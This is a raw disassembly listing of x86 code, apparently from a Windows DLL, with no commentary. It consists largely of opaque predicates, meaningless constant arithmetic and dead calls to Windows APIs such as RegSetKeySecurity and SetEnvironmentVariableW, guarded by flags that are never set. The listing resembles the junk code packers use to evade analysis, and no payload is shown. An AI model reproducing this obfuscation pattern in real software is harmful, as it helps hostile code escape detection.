dec dword [ebp - 0x18]
jns 0x10034f5b
mov edi, dword [sym.imp.USER32.dll_CharLowerBuffW]
lea ecx, [ebp - 0x910]
mov dword [ebp - 4], ebx
call fcn.10019816
xor eax, eax
mov dword [ebp - 0x14], eax
inc eax
cmp dword [ebp - 0x14], eax
jge 0x10035079
xor edi, edi
inc edi
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x960], 0xe3556834
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1003505a
mov edi, dword [sym.imp.USER32.dll_CharLowerBuffW]
xor eax, eax
inc eax
mov dword [ebp - 0x3c], 0x57fd5464
lea ecx, [ebp - 0x640]
push eax
call fcn.10019794
xor ecx, ecx
mov dword [ebp - 4], 7
inc ecx
xor eax, eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ecx
jge 0x100350cd
xor edi, edi
inc edi
push dword [ebp - 0x14]
lea ecx, [ebp - 0x640]
call fcn.10019832
mov dword [eax], 0x9dfc
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x100350a9
mov edi, dword [sym.imp.USER32.dll_CharLowerBuffW]
xor eax, eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0xfffffff3
je 0x100351ac
xor edi, edi
inc edi
jmp 0x100350e1
xor eax, eax
mov dword [ebp - 0x28], 0xfffffff7
cmp dword [ebp - 0x3c], eax
jne 0x100351a3
push eax
lea ecx, [ebp - 0x640]
call fcn.10019832
xor eax, eax
cmp dword [ebp - 0x28], eax
je 0x1003511d
push eax
lea ecx, [ebp - 0x640]
call fcn.10019832
cmp dword [eax], 0
je 0x1003511b
mov esi, edi
xor eax, eax
jmp 0x1003511f
xor eax, eax
mov esi, eax
push eax
lea ecx, [ebp - 0x640]
call fcn.10019832
xor ecx, ecx
cmp dword [eax], esi
setge cl
xor edx, edx
mov dword [ebp - 0x2c], ecx
mov ecx, dword [ebp - 0x28]
add ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x3c]
cmp ecx, eax
setg dl
xor eax, eax
cmp edx, 0xfffffff9
setl al
cmp eax, dword [ebp - 0x28]
je 0x1003515d
xor eax, eax
cmp dword [ebp - 0x28], eax
je 0x1003515f
mov esi, edi
jmp 0x10035161
xor eax, eax
mov esi, eax
push eax
lea ecx, [ebp - 0x640]
call fcn.10019832
mov ecx, 0xffffb521
sub ecx, esi
add ecx, dword [ebp - 0x28]
imul ecx, dword [eax]
test ecx, ecx
jne 0x10035187
xor eax, eax
mov edx, eax
cmp dword [ebp - 0x28], eax
je 0x10035189
mov edx, edi
mov eax, dword [ebp - 0x28]
xor ecx, ecx
cmp edx, eax
setg cl
mov dword [ebp - 0x4c], ecx
dec dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 0xfffffff3
jne 0x100350df
mov edi, dword [sym.imp.USER32.dll_CharLowerBuffW]
push 2
pop esi
lea ecx, [ebp - 0x640]
mov dword [ebp - 4], ebx
call fcn.10019816
xor eax, eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], eax
jl 0x1003620a
mov ebx, 0x8c176b0f
mov dword [ebp - 0x18], 0xb7c7ce53
lea ecx, [ebp - 0xa08]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x4c], 0x6b43d271
mov dword [ebp - 0x20], eax
or eax, 0xffffffff
push 6
mov dword [ebp - 0x24], eax
pop eax
mov dword [ebp - 0x40], eax
push 3
call fcn.10019794
xor eax, eax
mov dword [ebp - 4], 8
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x10035228
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x4d8], 0xfffffff7
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1003520f
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x10035250
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xa08]
call fcn.10019832
mov dword [eax], 0xfffffffb
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x10035231
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jg 0x10035276
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp + eax*4 - 0x4d8]
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x4d8], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jle 0x10035258
xor eax, eax
mov dword [ebp - 0x18], esi
cmp dword [ebp - 0x18], eax
jl 0x1003539e
xor edi, edi
mov dword [ebp - 0x30], 5
mov eax, 0xaaf0a9b2
mov dword [ebp - 0x2c], 0xfffffff7
mov dword [ebp - 0x494], eax
mov dword [ebp - 0x490], eax
mov dword [ebp - 0x48c], eax
mov dword [ebp - 0x488], eax
mov dword [ebp - 0x14], 0xe197e7c1
mov dword [ebp - 0x40], 0xd9964374
mov dword [ebp - 0x3c], 4
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x4d8], edi
jne 0x10035398
xor eax, eax
cmp dword [ebp - 0x4d4], eax
je 0x10035321
push esi
lea ecx, [ebp - 0xa08]
call fcn.10019832
mov eax, dword [eax]
mov dword [ebp - 0x20], eax
xor eax, eax
cmp dword [ebp - 0x20], eax
je 0x100352fe
lea ecx, [edi + 1]
cmp dword [ebp - 0x4c], eax
jne 0x10035300
mov ecx, eax
dec dword [ebp - 0x3c]
xor edx, edx
mov eax, dword [ebp - 0x2c]
cmp ecx, eax
mov eax, dword [ebp - 0x3c]
setg dl
xor ecx, ecx
cmp eax, edx
setne cl
xor eax, eax
mov dword [ebp - 0x2c], ecx
cmp dword [ebp - 0x2c], eax
jne 0x10035333
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x4d8], edi
jne 0x10035333
xor eax, eax
mov esi, eax
jmp 0x10035336
lea esi, [edi + 1]
mov eax, dword [ebp - 0x18]
xor edx, edx
mov ecx, dword [ebp + eax*4 - 0x4d8]
mov eax, dword [ebp - 0x30]
cmp eax, ecx
mov eax, dword [ebp - 0x18]
setl dl
xor ecx, ecx
imul edx, esi
mov eax, dword [ebp + eax*4 - 0x4d8]
cmp eax, edx
mov eax, dword [ebp - 0x24]
setl cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x14]
setl dl
xor ecx, ecx
cmp edx, eax
setl cl
xor eax, eax
neg ecx
je 0x1003541d
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], al
je 0x1003538c
push eax
push eax
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
push 2
pop esi
dec dword [ebp - 0x18]
jns 0x10035284
mov edi, dword [sym.imp.USER32.dll_CharLowerBuffW]
or eax, 0xffffffff
lea ecx, [ebp - 0xa08]
mov dword [ebp - 4], eax
call fcn.10019816
xor eax, eax
lea ecx, [ebp - 0x380]
mov dword [ebp - 0x2c], eax
push 3
call fcn.10019794
push 9
pop ecx
mov dword [ebp - 4], ecx
xor eax, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], 0x3c86992f
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x4c], 0xfffffff6
mov dword [ebp - 0x24], 0xfffffffe
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x1003540c
push dword [ebp - 0x14]
lea ecx, [ebp - 0x380]
call fcn.10019832
mov dword [eax], 0xd7f
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x100353ed
xor eax, eax
mov dword [ebp - 0x1c], esi
cmp dword [ebp - 0x1c], eax
jl 0x1003556f
xor edi, edi
inc edi
jmp 0x1003545b
push 2
mov dword [ebp - 0x3c], eax
pop esi
jmp 0x1003544f
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], 0
je 0x1003543b
push eax
push 0x229f
push eax
call dword [sym.imp.GDI32.dll_GetObjectW]
push dword [ebp - 0x18]
lea ecx, [ebp - 0xa08]
call fcn.10019832
inc dword [ebp - 0x3c]
push 0
pop eax
cmp dword [ebp - 0x3c], esi
jle 0x10035425
jmp 0x1003538f
xor eax, eax
mov dword [ebp - 0x2c], 0xfffffff7
mov dword [ebp - 0x50], 6
mov dword [ebp - 0xe68], edi
mov dword [ebp - 0xe64], edi
mov dword [ebp - 0xe60], edi
mov dword [ebp - 0xe5c], edi
cmp dword [ebp - 0x1c], eax
je 0x100354de
push edi
lea ecx, [ebp - 0x380]
call fcn.10019832
lea ecx, [ebp - 0x380]
mov eax, dword [eax]
mov dword [ebp - 0x2c], eax
push dword [ebp - 0x1c]
call fcn.10019832
mov ecx, dword [ebp - 0x2c]
xor edx, edx
sub ecx, 8
cmp ecx, 0xf5ebec5e
lea ecx, [ebp - 0x380]
setne dl
add edx, dword [eax]
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x20]
push dword [ebp - 0x1c]
call fcn.10019832
xor eax, eax
lea ecx, [ebp - 0x380]
push eax
call fcn.10019832
mov esi, edi
jmp 0x100354e0
mov esi, eax
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x380]
call fcn.10019832
push dword [ebp - 0x1c]
xor ecx, ecx
cmp esi, dword [eax]
setge cl
cmp ecx, 0xfffb
lea ecx, [ebp - 0x380]
sbb esi, esi
neg esi
call fcn.10019832
mov ecx, dword [ebp - 0x50]
xor edx, edx
add ecx, esi
cmp dword [eax], ecx
lea ecx, [ebp - 0x380]
setg dl
xor eax, eax
cmp edx, 0x4481
setg al
mov dword [ebp - 0x2c], eax
push dword [ebp - 0x1c]
call fcn.10019832
mov ecx, dword [ebp - 0x2c]
sub ecx, dword [eax]
xor eax, eax
mov dword [ebp - 0xe68], ecx
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x50], eax
jmp 0x10035557
mov dword [ebp - 0x24], 0x9ef5
inc dword [ebp - 0x24]
inc dword [ebp - 0x50]
cmp dword [ebp - 0x50], 0x17
jge 0x1003554a
dec dword [ebp - 0x1c]
jns 0x10035459
mov edi, dword [sym.imp.USER32.dll_CharLowerBuffW]
push 2
pop esi
mov eax, dword [ebp - 0x20]
xor edx, edx
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
mov eax, dword [ebp - 0x24]
setge dl
xor ecx, ecx
test eax, eax
sets cl
xor eax, eax
cmp edx, ecx
lea ecx, [ebp - 0x380]
setge al
mov dword [ebp - 0x1c], eax
or eax, 0xffffffff
mov dword [ebp - 4], eax
call fcn.10019816
or eax, 0xffffffff
lea ecx, [ebp - 0xd5c]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x110], ebx
mov dword [ebp - 0x10c], ebx
mov dword [ebp - 0x108], ebx
mov dword [ebp - 0x104], ebx
xor ebx, ebx
inc ebx
mov dword [ebp - 0x34], 0x1caf1e2c
mov dword [ebp - 0x20], 0xfffffffa
push ebx
call fcn.10019794
xor eax, eax
mov dword [ebp - 4], 0xa
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x10035614
xor edi, edi
inc edi
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x60], 0xa53aa9ac
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x100355f6
mov edi, dword [sym.imp.USER32.dll_CharLowerBuffW]
xor ebx, ebx
xor eax, eax
inc ebx
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x10035643
xor edi, edi
inc edi
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xd5c]
call fcn.10019832
mov dword [eax], 0x552a
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x1003561f
mov edi, dword [sym.imp.USER32.dll_CharLowerBuffW]
xor eax, eax
push 3
pop ebx
mov dword [ebp - 0x60], ebx
cmp dword [ebp - 0x60], eax
jl 0x10035aa5
xor edi, edi
inc edi
jmp 0x1003565a
push 2
pop esi
push esi
lea ecx, [ebp - 0xc8]
call fcn.10019794
mov byte [ebp - 4], 0xb
xor eax, eax
mov dword [ebp - 0x18], 4
mov dword [ebp - 0x24], 0xea52
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x100356a0
or edi, 0xffffffff
push dword [ebp - 0x14]
lea ecx, [ebp - 0xc8]
call fcn.10019832
mov dword [eax], edi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10035685
xor edi, edi
inc edi
push edi
lea ecx, [ebp - 0xc8]
call fcn.10019832
push edi
lea ecx, [ebp - 0xc8]
mov dword [eax], ebx
call fcn.10019832
cmp dword [eax], 0
jl 0x100357b9
push ebx
lea ecx, [ebp - 0xce4]
call fcn.10019794
xor eax, eax
mov byte [ebp - 4], 0xc
mov dword [ebp - 0x14], eax
jmp 0x100356f1
push dword [ebp - 0x14]
lea ecx, [ebp - 0xce4]
call fcn.10019832
mov dword [eax], 7
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x100356da
push edi
lea ecx, [ebp - 0xc8]
call fcn.10019832
push edi
lea ecx, [ebp - 0xc8]
call fcn.10019832
mov ecx, dword [ebp - 0x60]
push edi
mov esi, dword [ebp + ecx*4 - 0x110]
lea ecx, [ebp - 0xc8]
imul esi, dword [eax]
call fcn.10019832
mov ecx, dword [ebp - 0x60]
xor edx, edx
push edi
mov ecx, dword [ebp + ecx*4 - 0x110]
cmp ecx, esi
setge dl
xor ebx, ebx
imul ecx, edx, 0x213e
cmp ecx, dword [eax]
lea ecx, [ebp - 0xc8]
setge bl
call fcn.10019832
cmp ebx, dword [eax]
je 0x1003576a
push edi
lea ecx, [ebp - 0xce4]
call fcn.10019832
cmp dword [eax], 0
jne 0x1003576a
xor eax, eax
jmp 0x1003576c
mov eax, edi
xor ecx, ecx
cmp eax, 0x6dad
setl cl
xor eax, eax
cmp ecx, 0xd5de
lea ecx, [ebp - 0xce4]
setl al
mov dword [ebp - 0x18], eax
mov byte [ebp - 4], 0xb
call fcn.10019816
push edi
lea ecx, [ebp - 0xc8]
call fcn.10019832
push edi
lea ecx, [ebp - 0xc8]
dec dword [eax]
call fcn.10019832
push 3
pop ebx
cmp dword [eax], 0
jge 0x100356c3
mov dword [ebp - 0x18], ebx
xor eax, eax
cmp dword [ebp - 0x18], eax
jl 0x10035a87
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x110], 0
jne 0x10035845
xor eax, eax
cmp dword [ebp - 0x60], eax
je 0x100357f0
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x110], 0
je 0x100357ee
mov esi, edi
xor eax, eax
jmp 0x100357f2
xor eax, eax
mov esi, eax
push eax
lea ecx, [ebp - 0xc8]
call fcn.10019832
mov ecx, dword [ebp - 0x110]
xor edx, edx
cmp esi, ecx
setne dl
cmp edx, dword [eax]
jg 0x10035826
push edi
lea ecx, [ebp - 0xc8]
call fcn.10019832
cmp dword [eax], 0
jne 0x10035826
xor eax, eax
mov esi, eax
jmp 0x10035828
mov esi, edi
push edi
lea ecx, [ebp - 0xc8]
call fcn.10019832
mov eax, dword [eax]
imul eax, esi
cmp eax, dword [ebp - 0x104]
je 0x10035845
xor eax, eax
jmp 0x10035847
mov eax, edi
add eax, 0xd06f
xor ecx, ecx
cmp eax, edi
setge cl
add ecx, dword [ebp - 0x34]
je 0x10035a67
mov dword [ebp - 0x38], edi
lea ecx, [ebp - 0xc0c]
mov dword [ebp - 0x2c], 0xfffffffa
push ebx
call fcn.10019794
xor eax, eax
mov byte [ebp - 4], 0xd
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1003589e
push dword [ebp - 0x14]
lea ecx, [ebp - 0xc0c]
call fcn.10019832
mov dword [eax], 0xa534c8a1
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x10035880
xor eax, eax
mov dword [ebp - 0x34], ebx
cmp dword [ebp - 0x34], eax
jl 0x100358c6
mov dword [ebp - 0x4c], 0x69867f5d
lea ecx, [ebp - 0xc8]
push eax
call fcn.10019832
mov ecx, dword [ebp - 0x4c]
push 0
mov dword [eax], ecx
dec dword [ebp - 0x34]
pop eax
jns 0x100358a6
mov dword [ebp - 0x34], ebx
cmp dword [ebp - 0x34], eax
jl 0x10035a56
mov dword [ebp - 0x2c], 0x2b68
mov dword [ebp - 0x14], 2
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x34]
sub ecx, eax
je 0x100359bb
xor eax, eax
cmp dword [ebp - 0x2c], eax
je 0x1003590c
push edi
lea ecx, [ebp - 0xc8]
call fcn.10019832
cmp dword [eax], 0
je 0x1003590a
mov eax, edi
jmp 0x1003590c
xor eax, eax
dec eax
lea ecx, [ebp - 0xc8]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
xor eax, eax
push eax
call fcn.10019832
mov edx, dword [ebp - 0x2c]
mov esi, eax
mov ecx, dword [ebp - 0x38]
xor eax, eax
cmp ecx, edx
lea ecx, [ebp - 0xc8]
push edi
setg al
xor ebx, ebx
cmp eax, dword [esi]
setg bl
call fcn.10019832
mov edx, dword [ebp - 0x108]
xor ecx, ecx
mov eax, dword [eax]
add eax, ebx
cmp eax, 0x4544a95a
mov eax, dword [ebp - 0x18]
setge cl
add edx, ecx
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x110]
cmp edx, eax
setg cl
cmp ecx, dword [ebp - 0x2c]
jne 0x10035989
push edi
lea ecx, [ebp - 0xc8]
call fcn.10019832
cmp dword [eax], 0
jne 0x10035989
xor eax, eax
mov ecx, eax
jmp 0x1003598b
mov ecx, edi
mov eax, dword [ebp - 0x18]
push 6
mov eax, dword [ebp + eax*4 - 0x110]
add eax, ecx
or ecx, 0xffffffff
cmp ecx, eax
pop ecx
sbb eax, eax
neg eax
cmp ecx, eax
sbb eax, eax
inc eax
mov dword [ebp - 0x24], eax
je 0x100359bb
xor eax, eax
cmp dword [ebp - 0x110], eax
je 0x100359bd
mov eax, edi
jmp 0x100359bd
xor eax, eax
mov dword [ebp - 0x2c], eax
xor eax, eax
cmp dword [ebp - 0x18], eax
jne 0x100359ed
cmp dword [ebp - 0x34], eax
je 0x100359df
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x110], 0
je 0x100359dd
mov eax, edi
jmp 0x100359df
xor eax, eax
add eax, 0x3f1b
cmp eax, 0x2ad4
jle 0x100359f4
xor eax, eax
cmp dword [ebp - 0x24], eax
jne 0x10035a00
jmp 0x100359f6
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x10c], eax
je 0x10035a02
mov ecx, edi
mov eax, dword [ebp - 0x14]
sub ecx, eax
mov dword [ebp - 0x2c], ecx
xor eax, eax
push eax
lea ecx, [ebp - 0xc8]
call fcn.10019832
mov ebx, 0xffab
lea ecx, [ebp - 0xc0c]
push edi
mov dword [eax], ebx
call fcn.10019832
mov ecx, dword [ebp - 0x18]
mov esi, eax
xor eax, eax
mov ecx, dword [ebp + ecx*4 - 0x110]
cmp ecx, ebx
mov ecx, dword [ebp - 0x38]
setl al
xor edx, edx
cmp eax, ecx
setne dl
mov dword [esi], edx
dec dword [ebp - 0x34]
jns 0x100358d2
push 3
pop ebx
lea ecx, [ebp - 0xc0c]
mov byte [ebp - 4], 0xb
call fcn.10019816
jmp 0x10035a7e
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp + eax*4 - 0x110]
add ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x110], ecx
dec dword [ebp - 0x18]
jns 0x100357c7
lea ecx, [ebp - 0xc8]
mov byte [ebp - 4], 0xa
call fcn.10019816
dec dword [ebp - 0x60]
jns 0x10035657
mov edi, dword [sym.imp.USER32.dll_CharLowerBuffW]
mov eax, dword [ebp - 0x60]
cmp dword [ebp - 0x104], eax
jg 0x10035ab3
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x34]
lea ecx, [ebp - 0xd5c]
mov eax, dword [ebp - 0x20]
xor esi, esi
xor ebx, ebx
inc esi
cmp eax, esi
setg bl
sub ebx, dword [ebp - 0x60]
neg ebx
sbb ebx, ebx
xor eax, eax
push eax
inc ebx
call fcn.10019832
mov ecx, dword [ebp - 0x20]
xor edx, edx
cmp ebx, ecx
lea ecx, [ebp - 0xd5c]
setl dl
mov dword [eax], edx
or eax, 0xffffffff
mov dword [ebp - 4], eax
call fcn.10019816
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x10035b1a
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xdc], 0x60477862
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x10035b01
xor eax, eax
push 3
pop ebx
mov dword [ebp - 0xdc], ebx
cmp dword [ebp - 0xdc], 0xfffffff7
jne 0x10035c02
jmp 0x10035b34
xor eax, eax
mov dword [ebp - 0x2c], 0xf7b1466a
mov dword [ebp - 0x14], eax
jmp 0x10035b51
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x16c], 0xfffffff7
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x10035b40
mov eax, dword [ebp - 0x16c]
xor edx, edx
mov eax, dword [ebp - 0xdc]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0xdc]
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x16c]
mov eax, dword [ebp - 0x16c]
add ecx, eax
mov eax, dword [ebp - 0x168]
cmp eax, ecx
mov eax, dword [ebp - 0xd8]
setl dl
add eax, edx
je 0x10035bb2
xor eax, eax
cmp dword [ebp - 0xdc], eax
je 0x10035bb4
cmp dword [ebp - 0x168], eax
je 0x10035bb4
cmp dword [ebp - 0xdc], eax
je 0x10035bb4
mov eax, esi
jmp 0x10035bb4
xor eax, eax
xor edx, edx
cmp eax, 0xc2e3
mov eax, dword [ebp - 0x16c]
setge dl
add edx, 8
cmp esi, eax
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, edx
mov eax, dword [ebp - 0x16c]
setg cl
imul eax, ecx
test eax, eax
je 0x10035be7
xor eax, eax
cmp dword [ebp - 0x2c], eax
je 0x10035be9
mov eax, esi
mov dword [ebp - 0x168], eax
dec dword [ebp - 0xdc]
cmp dword [ebp - 0xdc], 0xfffffff7
je 0x10035b32
xor eax, eax
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], al
je 0x10035c13
push eax
call dword [sym.imp.KERNEL32.dll_InitializeSListHead]
mov dword [ebp - 0x2c], 0xd526
mov ecx, 0x7563
mov eax, dword [ebp - 0x2c]
mov edx, 0xc17c7747
mov dword [ebp - 0x960], ecx
mov eax, dword [ebp - 0x44]
cmp edx, eax
mov eax, dword [ebp - 0x44]
sbb edx, edx
inc edx
sub edx, ecx
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
mov eax, 0x93009ce4
setg cl
cmp eax, ecx
sbb eax, eax
xor ecx, ecx
neg eax
cmp eax, esi
setle cl
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x4c], eax
xor eax, eax
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x40], 0x8e56f9b2
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x40], 9
mov dword [ebp - 0x40], 0x23ed15de
mov dword [ebp - 0x40], 0x585b7f
mov dword [ebp - 0x40], 5
mov dword [ebp - 0x40], 0x146cdead
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x2c], 0x97341720
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x10035cbd
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x15c0], 0x934f545e
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x10035ca5
xor eax, eax
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], 0
je 0x10035cd6
push eax
push 0x9b8
push eax
push eax
call dword [sym.imp.KERNEL32.dll_VerSetConditionMask]
xor eax, eax
dec dword [ebp - 0x2c]
push 6
pop ecx
mov dword [ebp - 0x50], ecx
or ecx, 0xffffffff
mov dword [ebp - 0x38], 0xc9c3
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x34], 0xc7ab89bd
mov dword [ebp - 0x4c], eax
xor eax, eax
inc eax
mov dword [ebp - 0x24], 0x9d45c545
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], 0x73c04290
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
neg eax
sbb eax, eax
neg eax
cmp eax, dword [ebp - 0x18]
jle 0x10035ed8
xor eax, eax
inc eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0xfffffff7
mov dword [ebp - 0x40], eax
xor eax, eax
mov dword [ebp - 0x30], 0x1789
mov dword [ebp - 0x14], eax
inc eax
cmp dword [ebp - 0x14], eax
jge 0x10035d87
xor edi, edi
inc edi
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x130], 0x3aed5eba
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x10035d6b
mov edi, dword [sym.imp.USER32.dll_CharLowerBuffW]
mov eax, dword [ebp - 0x34]
xor edx, edx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
sub ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x38]
cmp ecx, eax
mov eax, dword [ebp - 0x34]
setge dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x1c]
setle bl
xor ecx, ecx
cmp ebx, eax
setne cl
xor edx, edx
imul esi, ecx, 0x5618
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
setl dl
xor eax, eax
cmp edx, esi
setle al
xor edx, edx
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x2c]
imul ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x38]
cmp ecx, eax
setl dl
add edx, dword [ebp - 0x18]
mov dword [ebp - 0x34], edx
imul eax, dword [ebp - 0x1c], 0xffff7d4d
neg eax
sbb eax, eax
neg eax
add eax, 0xffff6e90
mov dword [ebp - 0x130], eax
je 0x10035e40
mov dword [ebp - 0x2c], 0xcd0ab83d
mov dword [ebp - 0x34], 0xffffffeb
cmp dword [ebp - 0x34], 0xfffffff3
jne 0x10035e5b
xor eax, eax
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], 0
je 0x10035e35
push eax
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetKeySecurity]
xor eax, eax
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0xfffffff3
je 0x10035e21
jmp 0x10035e5b
mov dword [ebp - 0x40], 0xe206f6e
or eax, 0xffffffff
mov dword [ebp - 0x40], 0x8bf51449
mov dword [ebp - 0x40], 5
mov dword [ebp - 0x2c], eax
dec dword [ebp - 0x2c]
mov dword [ebp - 0x18], 0x19
jmp 0x10035ed0
xor eax, eax
xor edx, edx
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x130]
cmp eax, 0x168f1d39
mov eax, dword [ebp - 0x1c]
setge dl
sub edx, 0x7ebac3f4
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
sete cl
mov dword [ebp - 0x4c], ecx
mov eax, dword [ebp - 0x130]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x130]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x1c], 0xe909801c
mov eax, dword [ebp - 0x28]
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
setle cl
mov dword [ebp - 0x34], ecx
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x12
je 0x10035e67
jmp 0x10035f0f
xor eax, eax
mov dword [ebp - 0x4c], 0x80eaeaac
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], al
je 0x10035ef2
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesW]
mov dword [ebp - 0x2c], 0xb0cea4f5
xor edx, edx
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x24]
cmp eax, ecx
setle dl
mov dword [ebp - 0x4c], edx
xor eax, eax
lea ecx, [ebp - 0xb40]
mov byte [ebp - 0xd], al
push 2
call fcn.10019794
xor ebx, ebx
mov dword [ebp - 4], 0xe
inc ebx
mov dword [ebp - 0x34], 0x9c5a654f
push ebx
lea ecx, [ebp - 0x58c]
call fcn.10019794
xor eax, eax
mov byte [ebp - 4], 0xf
mov dword [ebp - 0x1c], eax
